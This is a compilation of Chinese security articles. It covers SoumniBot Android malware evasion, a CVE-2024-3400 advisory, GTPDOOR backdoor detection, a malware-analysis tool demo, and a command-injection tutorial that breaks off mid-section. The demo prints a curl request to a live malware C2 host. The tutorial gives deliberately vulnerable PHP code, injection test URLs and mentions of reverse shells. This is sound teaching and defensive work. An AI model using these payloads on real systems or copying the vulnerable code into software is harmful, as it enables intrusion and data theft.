  14. 一种名为“SoumniBot”的新 Android 银行恶意软件通过利用 Android 清单提取和解析过程中的弱点,使用了新的混淆方法。 该方法使 SoumniBot 能够规避 Android 手机中的标准安全措施并执行信息窃取操作。 研究人员发现并分析后提供了该恶意软件利用 Android 例程解析和提取 APK 清单的方法的技术细节。 欺骗 Android 的解析器 清单文件(“AndroidManifest.xml”)位于每个应用程序的根目录中,包含有关组件(服务、广播接收器、内容提供程序)、权限和应用程序数据的详细信息。 虽然恶意 APK 可以使用 Zimperium 的各种压缩技巧来愚弄安全工具并逃避分析,但分析师发现 SoumniBot 使用了三种不同的方法来绕过解析器检查,其中涉及操纵清单文件的压缩和大小。 首先,SoumniBot 在解压 APK 的清单文件时使用无效的压缩值,该值与负责该角色的 Android“libziparchive”库预期的标准值(0 或 8)不同。 Android APK 解析器不会将这些值视为不可接受,而是默认将数据识别为由于错误而未压缩,从而允许 APK 绕过安全检查并继续在设备上执行。 从 APK 中提取清单文件 第二种方法涉及错误报告 APK 中清单文件的大小,提供大于实际数字的值。 由于该文件在上一步中已被标记为未压缩,因此直接从存档中复制该文件,并用垃圾“覆盖”数据填充差异。 虽然这些额外的数据不会直接损害设备,但它在混淆代码分析工具方面发挥着至关重要的作用。 报告错误的文件大小 第三种规避技术是在清单文件中使用非常长的字符串作为 XML 命名空间的名称,这使得自动分析工具很难检查到它们,而自动分析工具通常缺乏足够的内存来处理它们。 清单中的长字符串 Android 官方分析实用程序 APK 分析器无法使用上述规避方法处理文件。 SoumniBot 威胁 启动后,SoumniBot 从硬编码服务器地址请求其配置参数,并发送受感染设备的分析信息,包括编号、运营商等。 接下来,它会启动一个恶意服务,如果停止,该服务每 16 分钟就会重新启动一次,并每 15 秒传输一次从受害者那里窃取的数据。 泄露的详细信息包括 IP 地址、联系人列表、帐户详细信息、短信、照片、视频和网上银行数字证书。数据泄露由恶意软件通过 MQTT 服务器接收的命令控制,这些命令还对以下功能进行排序: ·删除现有联系人或添加新联系人 ·发送短信(转发) ·设置铃声音量 ·打开或关闭静音模式 ·打开或关闭设备上的调试模式 目前尚不清楚 SoumniBot 如何到达设备,但方法可能有所不同,从通过第三方 Android 商店和不安全网站分发到使用受信任存储库中的恶意代码更新合法应用程序。 SoumniBot 主要针对韩国用户,与许多恶意 Android 应用程序一样,它在安装后隐藏其图标,使其更难以删除。其实,它在后台仍然活跃,并从受害者处上传数据。
  15. 漏洞概述 漏洞类型 远程命令执行 漏洞等级 严重 漏洞编号 CVE-2024-3400 漏洞评分 10 利用复杂度 低 影响版本 PAN-OS 11.1.* < 11.1.2-h3 PAN-OS 11.0.* < 11.0.4-h1 PAN-OS 10.2.* < 10.2.9-h1 利用方式 远程 POC/EXP 未公开 Palo Alto Networks的PAN-OS是一个运行在Palo Alto Networks防火墙和企业VPN设备上的操作系统。Palo Alto Networks PAN-OS软件的GlobalProtect功能存在命令注入漏洞,针对特定的PAN-OS版本和不同的功能配置,可能使未经身份验证的攻击者能够在防火墙上以root权限执行任意代码。2024年4 月10日,Volexity 发现其一名网络安全监控 (NSM) 客户对 Palo Alto Networks PAN-OS GlobalProtect 功能中发现的漏洞进行了零日利用,攻击者能够创建反向 shell、下载工具、窃取配置数据以及在网络内横向移动。Palo Alto Networks PSIRT 团队确认该漏洞为操作系统命令注入问题,并将其分配为 CVE-2024-3400。 仅适用于启用了GlobalProtect gateway(Network > GlobalProtect > Gateways)和device telemetry(Device > Setup > Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火墙。 资产测绘 据www.daydaymap.com数据显示,近半年国内风险资产分布情况如下,主要分布在台湾省。 解决方案 官方已发布修复方案,受影响的用户建议更新至安全版本。 https://support.paloaltonetworks.com/support
  16. 安全研究人员发现了一个专为移动运营商网络设计的新的 Linux 后门,名为 GTPDOOR。GTPDOOR 背后的威胁分子以 GPRS 漫游交换 (GRX) 附近的系统为目标,例如 SGSN、GGSN 和 P-GW,这些系统可以为攻击者提供对电信核心网络的直接访问。 GRX 是移动电信的一个组件,可促进跨不同地理区域和网络的数据漫游服务。服务 GPRS 支持节点 (SGSN)、网关 GPRS 支持节点 (GGSN) 和 P-GW(分组数据网络网关(用于 4G LTE))是移动运营商网络基础设施内的组件,每个组件在移动通信中发挥不同的作用。 由于SGSN、GGSN和P-GW网络更多地暴露在公众面前,IP地址范围列在公开文件中,研究人员认为它们可能是获得移动运营商网络初始访问权限的目标。 安全研究人员解释说 ,GTPDOOR 很可能是属于“LightBasin”威胁组织 (UNC1945) 的工具,该组织因专注于全球多家电信公司的情报收集而臭名昭著。 研究人员发现了 2023 年底上传到 VirusTotal 的两个版本的后门,这两个版本基本上都没有被防病毒引擎检测到。这些二进制文件针对的是非常旧的 Red Hat Linux 版本,表明目标已经过时。 隐秘的 GTPDOOR 操作 GTPDOOR 是一种专为电信网络量身定制的复杂后门恶意软件,利用 GPRS 隧道协议控制平面 (GTP-C) 进行隐蔽命令和控制 (C2) 通信。它用于部署在与 GRX 相邻的基于 Linux 的系统中,负责路由和转发漫游相关的信令和用户平面流量。 使用 GTP-C 进行通信允许 GTPDOOR 与合法网络流量混合,并利用不受标准安全解决方案监控的已允许端口。为了提高隐蔽性,GTPDOOR 可以更改其进程名称以模仿合法的系统进程。 该恶意软件侦听特定的 GTP-C 回显请求消息(“魔术数据包”)以唤醒并在主机上执行给定的命令,将输出发送回其操作员。 恶意数据包结构 GTP 数据包的内容使用简单的 XOR 密码进行身份验证和加密,确保只有授权的操作员才能控制恶意软件。 GTPDOOR v1 支持在被破坏的主机上执行以下操作: ·设置用于 C2 通信的新加密密钥 ·将任意数据写入名为“system.conf”的本地文件 ·执行任意shell命令并发送回输出 GTPDOOR v2 支持上述操作以及以下操作: ·指定允许通过访问控制列表 (ACL) 机制与受感染主机通信的 IP 地址或子网 ·检索ACL列表,对后门的网络权限进行动态调整 ·清除 ACL 以重置恶意软件 安全研究人员还强调了该恶意软件能够从外部网络秘密探测,通过任何端口传递的 TCP 数据包引发响应。 GTPDOOR 攻击概述 检测与防御 检测策略包括监视异常的原始套接字活动、意外的进程名称以及特定的恶意软件指示器(例如重复的系统日志进程)。 推荐的检测步骤如下: 1.使用 lsof 检查打开的原始套接字,表明存在潜在的漏洞。 2.使用 netstat -lp --raw 查找异常的监听套接字。 3.识别具有异常 PPID 的模仿内核线程的进程。 4.搜索 /var/run/daemon.pid,这是 GTPDOOR 使用的互斥文件。 5.查找可能由恶意软件创建的意外 system.conf 文件。 PID异常 还提供了以下供防御者检测 GTPDOOR 恶意软件的 YARA 规则。 最后,安全研究人员提出了防御措施,如设置严格规则并自觉遵守 GSMA 安全指南,利用 GTP 防火墙,阻止或过滤掉恶意数据包和连接。
  17. 想要轻松掌握 Android 恶意软件的逆转技术吗?Incinerator 将是你在这场网络攻防战中的得力伙伴,无论是资深专家还是初出茅庐的新手,都能在这款工具中找到自己的舞台。 大家好!在这篇文章里,我们将探索 Incinerator 的强大功能、丰富特性以及它所带来的种种优势。这款 Android 逆向工程工具集的灵感来自于广受好评的 Shambles 项目。 我们的目标非常明确:打造一款能够轻松应对 Android 应用,尤其是恶意软件的高级逆向工具。我们需要的是一个集反编译、解密、动态调试和漏洞检测于一体的全能工具。而且,这款工具还得能够快速、准确地揪出那些常见和隐蔽的威胁迹象(IOCs)。 正是基于这些目标,我们推出了 Incinerator!简单来说,它是一个功能全面、操作简便的逆向工程生态系统。不论你是经验丰富的逆向工程专家,还是刚踏入恶意软件分析领域的新手,Incinerator 都能满足你的需求。 Incinerator 应用内置了多种强大功能,让你可以轻松反编译 Android 应用,自动解密内容,取消反射 API 调用,获取清晰的反混淆代码,并在真实设备上进行实时调试分析。这对于那些想要深入了解、分析和逆转 Android 恶意软件的人来说,是一个完美的选择,即使你没有太多经验也没关系。 Incinerator 在后台进行的分析工作包括组件分析、安全漏洞检测、静态和动态代码分析、漏洞挖掘以及恶意代码分析。通过全面的检查,Incinerator 能够有效地帮助用户识别和解决安全风险和漏洞。 在更高层次上,Incinerator 将解密任务放在云端处理,其内部的漏洞分析引擎沙箱会实时更新漏洞库,能够精确到代码的具体行来定位恶意代码或漏洞。 多年前,Incinerator 与 JEB 或 GDA 进行了性能对比测试,并展现出了卓越的性能。如果你想看完整的对比报告,可以点击这里查看。 此外,我们还对比了多个威胁情报中心和在线沙箱的恶意代码检测与分析能力,以此来衡量 Incinerator 的性能。结果同样令人满意,相关报告也可供大家参考。 现在,让我们来认识一下 Incinerator 背后的团队。这款工具由 Lian Security 的一支约 12 人的工程师团队开发,历时约两年。他们也是 SHAMBLES、INCINERATOR 和 FLEGIAS 等产品的开发者,这些产品覆盖了从软件、基础设施、硬件到基本操作和维护、产品 UI 设计等多个领域。 Incinerator 可以在 Windows、MacOS 和 Linux 系统上运行。它支持分析 APK 和 DEX 文件。APK 文件包含了编译后的代码文件(.dex 文件)、资源文件、证书和清单文件。DEX 文件是 Android 系统的可执行文件,包含了应用程序的所有操作指令和运行时数据。 分析文件的途径有两种,一种是通过 Incinerator 的桌面应用程序界面,如下图所示。 另一种是通过云端的网络门户进行。 选择哪一种方式,全凭个人喜好。我个人习惯于通过桌面应用程序上传和打开 APK。上传后,你可以登录到云端门户,在 https://incinerator.cloud/#/main/task/list 查看上传的样本。 从网络门户,你可以查看和处理生成的基于网络的报告。这些报告可以分享给其他人进行 APK 分析。这种访问权限需要在你的 UCENTER 账户中进行配置,默认情况下是不公开的。 如果你想要深入了解报告,或者跟随我们的分析步骤,请点击这里,你将看到如下的报告内容。 Incinerator 使用的 ML 模型具有非常高的准确性。Incinerator 的一些功能实际上是开源的,可以在 Lian Security 的 Github 上找到。特别是用于处理和生成报告数据的两个模型已经公开。 android-malware-detection apk-obfucation-detection 在 Base Info 和 Behavior Info 面板以及 Static Analysis、Dynamic Analysis 和 APK Risk 侧边面板中,包含了大量的信息。我们的目标是提供一个材料清单(BOM),它从包管理器、二进制文件、源代码和容器图片中派生。 让我们看看我个人特别喜欢的一些功能。你可以下载 APK 的网络流量,并将其导入到 Wireshark 中进行分析。 例如,应用程序权限(Application Permissions)等许多面板,都是基于 androidmanifest.xml 文件的分析结果得出的,还有更多信息等待你去发掘。 快速浏览一下报告中的软件组成分析(SCA)部分,你会发现这些信息大部分都是非常有价值的。 我邀请你自己去探索这份报告。我不会再次回到这个网络门户,因为在网络上看到的所有内容都已经融入到了主应用程序中。 一旦样本被云端引擎完全分析,我们就可以开始在 Incinerator 应用程序中对其进行分析。当你第一次加载样本时,APK 报告会加载出来,它和网络门户报告中的内容非常相似。 如前所述,Incinerator 是一个沙箱工具,用于记录应用程序的整个执行过程,以调用栈的形式展示。当用户在本地打开相应的样本时,我们可以提供类似动态调试的体验。这使得用户能够理解样本在动态执行后是如何被触发的。 工具界面主要分为两个部分:Base Info 和 Behavior info。每个部分提供的信息和主要差异如下,这些是你在使用时通常会看到的内容,但请注意,这里列出的并不是全部信息。 在右侧,我们有四个面板:Android Monitor、Set Debug Device、Static Analysis 和 Dynamic Analysis,我们将在后面的内容中详细探讨这些面板。 这是 Incinerator 用户界面的基本布局。 让我们开始逆转一些恶意软件吧!以 FakeCalls 为例。逆转恶意软件的主要目标之一是识别攻击者用来窃取和外泄数据的 C2 和 C&C 通信渠道。Incinerator 在识别这些通信渠道方面表现得非常出色。 正如上图所示,我们知道这款恶意软件使用了死信箱解析器(T1102.001)。这是一种将恶意内容存储在合法网络服务上,然后通过调用将其安装到受害者设备上的技术。这些服务常常用来代理和掩盖与真实 C&C 服务器之间的通信,通过额外的域名和 IP 地址实现。 让我们通过 checkpoint 报告中检索到的 curl 信息,手动在 Incinerator 中逆转这种行为。Incinerator 引擎识别出了执行请求到 C2 服务器 daebak222.com/huhu/admin.txt 的代码,如下图所示。 如果我们对端点执行 curl 命令,将会得到以下输出。 $ curl https://www.daebak222.com/huhu/admin.txt { "a01": "eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==", "b05": "Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=", "a07": "eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==" } 我们的目标是理解恶意软件为何要获取这些信息,以及它的用途。结果发现,这些信息被用来更新它的 C2 通信渠道。这次检测的整个调用栈指向了 ServerInfoService.java,它调用了 Service 和 Binder Android 类,这些类通常在你需要通过 HTTP 请求获取服务器信息的服务中使用。它还提供了其他组件访问这些信息的方法。 ServerInfo 类包含了有关服务器的信息。 a01 (eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==), b05 (Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=), a07 (eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==) 它代表了我们期望从服务器获取的各种属性。 其中,serverInfo.a01 代表新服务器,serverInfo.b05 代表备用服务器,serverInfo.a07 代表从哪个服务器获取信息。fetch() 和 fetchFromAlternative() 方法用来启动 HTTP 请求,以获取服务器信息。 如果我们在 Incinerator 控制台中按下 tab 键进入 fetch() 方法,我们可以看到 Android 应用程序字节码的中间语言,也就是所谓的 "smali" 代码。在这里我们可以清楚地看到 eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fD55ZHlkPnB1fHh_P2VpZQ== 实际上是 daebak222.com/huhu/admin.txt。就在下面,我们有 onData 方法,如果成功获取服务器信息,则记录成功消息。然后,它会检查 ServerInfo 对象的字段(a01、b05、a07)是否有空。如果任何一个字段为空,它会记录一个警告消息,指示服务器信息无效。否则,它将调用 ServerInfoService 类的 updateServerInfo 方法,传递接收到的 ServerInfo 对象,以更新服务器信息。 太棒了!有了 Incinerator,这一切都变得非常简单。接下来,让我们看看 Incinerator 的检测能力。Incinerator 识别出恶意软件能够捕获设备接收的 SMS 消息,发送短信,并根据 C2 服务器的指令拨打电话。 让我们验证一下这款恶意软件是否真的具备在受感染设备上捕获电话通话、短信等信息的能力。首先,我们需要确认恶意软件是否已经获取或为自己分配了获取这些信息的权限。从下面的图中可以看出,它确实拥有大量权限。 那么,恶意软件是如何获得这些权限的呢?我们可以双击调用栈中的任何参数,打开相应的代码进行查看。特别值得注意的是 Add New Device Administrator 的事件。 恶意软件会检查设备管理员是否活跃,如果不是,它会通过发送一个 Intent 来请求设备管理员权限,这个 Intent 的动作是 android.app.action.ADD_DEVICE_ADMIN。只要用户不答应,它就会不断地通过循环窗口请求权限。 一旦用户授予了权限,根据我的经验,唯一手动停用它的方法是在 Settings -> Security -> Device Management 中操作,但到那时可能已经太晚了。 下面列出的是应用程序请求或已经获取的权限,但这个列表并不全面: permissionNames.add("READ CONTACTS"); permissionNames.add("WRITE CONTACTS"); permissionNames.add("READ SMS"); permissionNames.add("RECEIVE SMS"); permissionNames.add("SEND SMS"); permissionNames.add("RECORD AUDIO"); permissionNames.add("READ PHONE STATE"); permissionNames.add("WRITE EXTERNAL STORAGE"); permissionNames.add("READ EXTERNAL STORAGE"); permissionNames.add("CHANGE WIFI STATE"); permissionNames.add("INTERNET"); permissionNames.add("ACCESS WIFI STATE"); permissionNames.add("GET ACCOUNTS"); permissionNames.add("READ LOGS"); permissionNames.add("PROCESS OUTGOING CALLS"); permissionNames.add("CALL PHONE"); permissionNames.add("RECEIVE BOOT COMPLETED"); permissionNames.add("DISABLE KEYGUARD"); permissionNames.add("INSTALL SHORTCUT"); permissionNames.add("UNINSTALL SHORTCUT"); permissionNames.add("WAKE LOCK"); permissionNames.add("CHANGE WIFI STATE"); permissionNames.add("INTERNET"); permissionNames.add("ACCESS WIFI STATE"); permissionNames.add("GET ACCOUNTS"); permissionNames.add("READ LOGS"); permissionNames.add("PROCESS OUTGOING CALLS"); permissionNames.add("CALL PHONE"); permissionNames.add("RECEIVE BOOT COMPLETED"); permissionNames.add("DISABLE KEYGUARD"); permissionNames.add("INSTALL SHORTCUT"); permissionNames.add("UNINSTALL SHORTCUT"); permissionNames.add("WAKE LOCK"); 我们知道恶意软件已经具备了执行恶意行为所需的所有权限。回到检测调用栈,我们可以发现多处代码检测到设备麦克风作为音频源,并将录音存储在磁盘上的预定位置。因此,这款恶意软件确实能够记录电话通话。 恶意软件还会通过查询 content://sms/ 来获取设备上的短信信息,包括 Sender ID and Address、 Body/Content、 Read status Data received 和 Type,并将这些信息压缩后发送回 C2 服务器。 它还能拦截设备上的传入短信,发送新的短信,以及根据 C2 服务器的指令拨打电话。 通常情况下,它会获取设备信息,压缩后发送出去。 这款恶意软件还会尝试获取 Facebook 凭据,奇怪的是,它是唯一试图获取的凭据类型。 还有一个复杂的包管理器类,它会检索受害者手机上所有安装的应用程序信息,如 VersionCode、 VersionName、 PackageName 和 AppName。这些信息很可能用于覆盖攻击,即恶意软件在合法应用程序上方打开一个透明窗口,以此窃取用户的凭证数据,如支付信息或登录凭据。 如下图所示,这种攻击极有可能已经发生。恶意窗口与合法应用程序看起来一模一样。在这种攻击中,恶意软件可以轻易窃取用户的敏感数据。 恶意软件还会在启动时获取设备的地理位置信息,使用如 api.ipify.org 等服务。这样它就能获取公共的 IPv4 和 IPv6 地址、MAC 地址和 Wi-Fi SSID。 它还会执行操作系统命令,主要用于从 /proc/cpuinfo 获取额外的系统信息。 老实说,还有更多功能等待发掘,但我已经尽力概述了 Incinerator 的基础功能。这篇文章的目的并不是要逆转恶意软件,而是要展示 Incinerator 的强大功能,并提供一个概览和实例演示。接下来,让我们看看调试器的功能。 我们可以使用调试器的两种方式,一种是通过将实体 Android 手机连接到电脑,另一种是使用虚拟机。选择哪种方式完全取决于个人喜好。但我猜,可能没有多少人愿意将已经 root 的手机专门用于安装可疑的恶意软件。 在开发者选项中,你只需要设置两个配置:USB Debugging = True 和 Default USB configurations = Transferring Files。如果你在使用虚拟机,你可以简单地使用 scrcpy 来访问 Android 设备并启用它。 我还没试过这种方法,但我不认为有什么理由不行。你也可以通过以下 ADB 命令来配置这一切(我可能漏掉了一两个命令)。 adb shell settings put global development_settings_enabled 1 adb shell setprop persist.security.adbinput 1 adb shell settings put global adb_enabled 1 adb shell settings put global adb_usb_debugging 1 adb shell settings put global adb_usb_tethering 1 不管怎样,我不在乎你是怎么做的,但我相信你最终会找到解决办法。一旦你的手机连接到电脑或者通过 ADB 连接到虚拟机,你就可以在 Incinerator 的 Android Monitor 标签中看到以下挂载点。 我们所要做的就是双击它,APK 将被上传到手机,并附加到 Incinerator 调试器上。 你可以设置断点,逐步执行代码,修补数据...任何顶级调试器能做的事情,Incinerator 都能做。 再次强调,你可以使用像 Caindo 或 BurpSuite 这样的代理工具来运行所有这些操作。对于基于 Android 的 CTF 竞赛来说,这绝对是一个强大的工具。 这种情况很少见,但如果调试器失败了(尤其是当你尝试加载一些奇怪的 CTF 挑战时),你可能会看到下面的截图。 如果你尝试启动调试器几次,但它一直失败,这很可能是因为你现有的 ADB 环境或手机存在问题。下面是调试器失败时的截图。 接下来是手动调试的步骤。 步骤 1 启动你想要调试的应用程序组件。例如,我们想要调试 com.lian.logindemo,因此我们将启用调试日志来启动它。 adb -s 10.40.43.88:5555 shell am start -D com.lian.logindemo/com.lian.logindemo.ui.login.LoginActivity 如果你在这里遇到错误,我很抱歉,但问题可能出在你的设备上。 步骤 2 我们想要获取设备上当前正在运行的进程列表。 adb -s 10.40.43.88:5555 shell "ps |grep com.lian.logindemo" 如果你没有任何输出,那意味着 APK 启动失败了。请注意,有些系统可能需要使用 ps 命令的 -A 选项来列出所有进程。 步骤 3 我们想要在特定的 APK 上启用远程调试。为此,我们将设置端口转发,以便让我们的主机机器上的 JDWP 调试器与设备上运行的 APK 之间进行通信。 adb -s 10.40.43.88:5555 forward tcp:12345 jdwp: 如果在运行这个命令时出现错误,那可能是因为进程没有运行,或者端口已经被占用了。 步骤 4 现在我们想要让 JDB 连接到运行在本地机器(127.0.0.1)上的 JVM,以便进行调试。 jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=12345 如果你遇到任何错误...请按照以下子步骤操作: 步骤 4-1: 找出所有占用端口 5037(adb-server)的进程,并将它们结束。例如,android studio 可能会使用 adb-server。要查看这些进程,可以运行 netstat -ano | findstr 5037。 步骤 4-2: 使用 adb forward --list 检查端口转发状态。 步骤 4-3: 检查 debugable PID 是否存在,运行 adb jdwp 命令。 步骤 5 在 JDB 终端中运行 classes 命令,如果它能列出所有类,那么你就已经准备好了,可以重新启动调试器! 如果你对 Incinerator 的使用感兴趣,Lian Security 团队还发布了他们对 BOOMSLANG 恶意软件的分析,你可以在这里阅读,还有 NEXUS 木马的分析,你也可以在这里查看。 如果你对 Lian Security 团队发布的 Android 研究感兴趣,我推荐你可以阅读以下文章: AndroidManifest.xml 绕过静态分析的逃避技术:通过 Zip 格式操作 基于机器学习的 Android 恶意应用识别 AndroidManifest.xml 中多层次混淆技术的技术分析,旨在绕过静态分析 文本分类实现混淆检测 原文链接:Lian Security
  18. ###命令执行定义 直接调用操作系统命令: 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。 系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 ###命令执行与代码执行的判断与区别 参考OWASP的 代码注入和命令注入,其中的相关解释:可以用下面一句话判断是代码执行还是命令执行:执行效果是否受制于语言本身与其安全机制。 代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞。代码执行漏洞是调用系统命令的漏洞,命令执行漏洞是直接调用系统命令,又称为os命令执行漏洞。 这里先给大家看一下两种漏洞的区别,命令执行长这样: 代码执行长这样: 1.代码执行 1. 执行的效果完全受限于语言本身,只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 2.命令执行 1. 执行的效果不受限于语言语法本身,不受命令本身限制,不能执行当前语言的相关语法,仅能达到间接执行系统命令; 2.可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 ###命令执行漏洞描述 命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码 ###命令执行漏洞原理 在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。 由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。在某些应用时,有些会需要调用一些执行系统命令的函数,比如PHP中可以调用外部程序的常见函数:system() , exec() , shell_exec() , passthru() , popen() , proc_popen() 等函数...如果用户可以控制这些函数的参数,那么把参数替换成自己的恶意命令可以操作系统一些命令,这就是命令执行。 这里我用 shell_exec 这个函数来演示。 参数是 a ,并传参给 $cmd 这个变量,然后用 shell_exec 这个函数来执行,并让 echo 输出到页面上来,就是显示到网页当中。把CMD命令里的 whoami 这个查询当前用户的命令,传参给 a ,然后 a 赋值给变量 $cmd ,然后 shell_exec这个函数,就执行了执行了命令。 ###导致命令执行漏洞的原因 脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去WEB的特殊功能时,就需要调用一些外部程序. 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。 在PHP中可以调用外部程序的常见函数:system、exec、shell_exec、passthru、popen、proc_popen。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。 1.代码层过滤不严格 一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过 system函数来调用:system("/bin/program --arg $arg"); 2.系统的漏洞造成命令执行     bash破壳漏洞(CVE-2014-6271),如果我们控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码。 3.调用第三方组件存在代码执行漏洞 很典型的就是WordPress中,可以选择使用 ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。另外JAVA中的命令执行漏洞(struts2/Elasticsearch Groovy等)很常见。 典型的漏洞代码: <?php system($GET_[cmd]); ?> http://127.0.0.1:8080/?cmd=id http://192.168.188.66/index.php?cmd=||ping -i 30 127.0.0.1 http://192.168.188.66/index.php?cmd=||ping -n 30 127.0.0.1 & 如果应用程序过滤掉某些命令分隔符,为加大检测到命令注人漏洞的可能性,还应该轮流向每一个目标参数提交下面的每个测试字符串,并监控应用程序进行响应的时间。 http://192.168.188.66/index.php?cmd=I ping -i 30 127.0.0.1 I http://192.168.188.66/index.php?cmd=I ping -n 30 127.0.0.1 I http://192.168.188.66/index.php?cmd=& ping -i 30 127.0.0.1 & http://192.168.188.66/index.php?cmd=& ping -n 30 127.0.0.1 & http://192.168.188.66/index.php?cmd=;ping 127.0.0.1 ; http://192.168.188.66/index.php?cmd=%0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 ' 如果发生时间延迟,说明应用程序可能易于受到命令注人攻击。重复几次测试过程, 确定延迟不是由于网络延时或其他异常造成的。可以尝试更改-n或-i参数的值,并确定经历的时间延迟是否会随着提交的值发生对应的变化。使用所发现的任何一个可成功实施攻击的注人字符串,尝试注人另一个更有用的命令 (如Is或dir),确定是否能够将命令结果返回到浏览器上。 如果不能直接获得命令执行结果,还可以采用其他方法如下: 可以尝试打开一条通向自己计算机的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat建立一个通向自己计算机的反向shell,并使用mail命令通过SMTP 发送命令结果。 可以将命令结果重定向到Web根目录下的一个文件,然后使用浏览器直接获取结果。例如:dir > c:\inetpub\wwwroot\foo.txt,一旦找到注人命令的方法并能够获得命令执行结果,就应当城定自己的权限(通过使 用whoami或类似命令,或者尝试向一个受保护的目录写人一个无害的文件)。然后就可以设 法提升自己的权限,进而秘密访问应用程序中的敏感数据,或者通过被攻破的服务器攻击其他主机。 ###命令执行利用条件 1.代码中存在调用执行系统命令的函数 2.函数中存在我们可控的点并将用户输入作为系统命令的参数拼接到了命令行中 3. 没有对用户输入进行过滤或过滤不严 ###命令执行和代码执行模型 1.PHP命令执行与代码执行 PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()。 命令执行:system(),shell_exec(),exec(),passthru(),在使用php.exe传递参数时,如果命令中有空格,就用“”(双引号),linux中用单引号,如: php.exe cmd.php "|net user" 代码执行cmd.php中:<?php eval($_REQUEST['code'])?> 提交的数据::http://url/cmd.php?code=phpinfo(); 动态函数调用 <?php function A(){return ...;} function B(){return ...;} $fun = $_request['fun']; echo $fun();//动态调用函数 ?> 如果输入数据:http://url/function.php?fun=phpinfo就会执行phpinfo()函数。PHP函数代码执行漏洞:preg_replace(),ob_start(),array_map() (1)system函数 执行shell命令也就是向dos发送一条指令。system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型为: string system(string command,int &return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态 示例代码如下: <?php $dir = $_GET["dir"]; if(isset($dir)) { echo "<pre>"; system("net user".$dir); echo "</pre>"; } ?> 执行结果为: 上述代码就是把dir这个命令写死了,把net user执行的结果给$dir变量。但是注意一些连接符,管道符如:&,&&,|,||,:等,如果我们输入?dir=| netstat -an 注:|只执行后面的命令,||前后命令都执行。 (2)exec函数 执行外部程序,exec函数可以用来执行一个外部的应用程序,函数原型为: string exec(string command,array &output,int &return_var) 其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var是存放执行命令后的状态值。 示例代码: <?php $cmd = $_GET["cmd"]; $output = array(); echo "<pre>"; exec($cmd,$output); echo "</pre>"; while(list($key,$value)=each($output)) { echo $value."<br>"; } ?> 执行结果为: (3)passthru函数 执行外部程序并且显示原始输出,可以看出PHP可以执行系统命令,通过|、&、||起到命令连接的作用,通过输入时的合理构造可以使想要执行的命令和原本命令连接执行。passthru函数可以用来执行一个unix系统命令并显示原始的输出,当unix系统令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system和exec函数。原型为: void passthru(string command,int &teturn_var) 其中command是要执行的命令,return_var存放执行命令后的状态值。 示例代码如下: <?php $cmd = $_GET["cmd"]; echo "<pre>"; passthru($cmd); echo "</pre>"; ?> (4)shell_exec函数 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回,函数原型为: string shell_exec(string command) 其中command是要执行的命令。 <?php $cmd = $_GET["cmd"]; echo "<pre>"; shell_exec($cmd); echo "</pre>"; ?> (5)`运算符:与shell_exec功能相同,通常用于绕过黑名单 示例代码如下: <?php $cmd = $_GET["cmd"]; $output = `$cmd`; echo "<pre>"; echo $output; echo "</pre>"; ?> 执行结果为: (6)代码执行 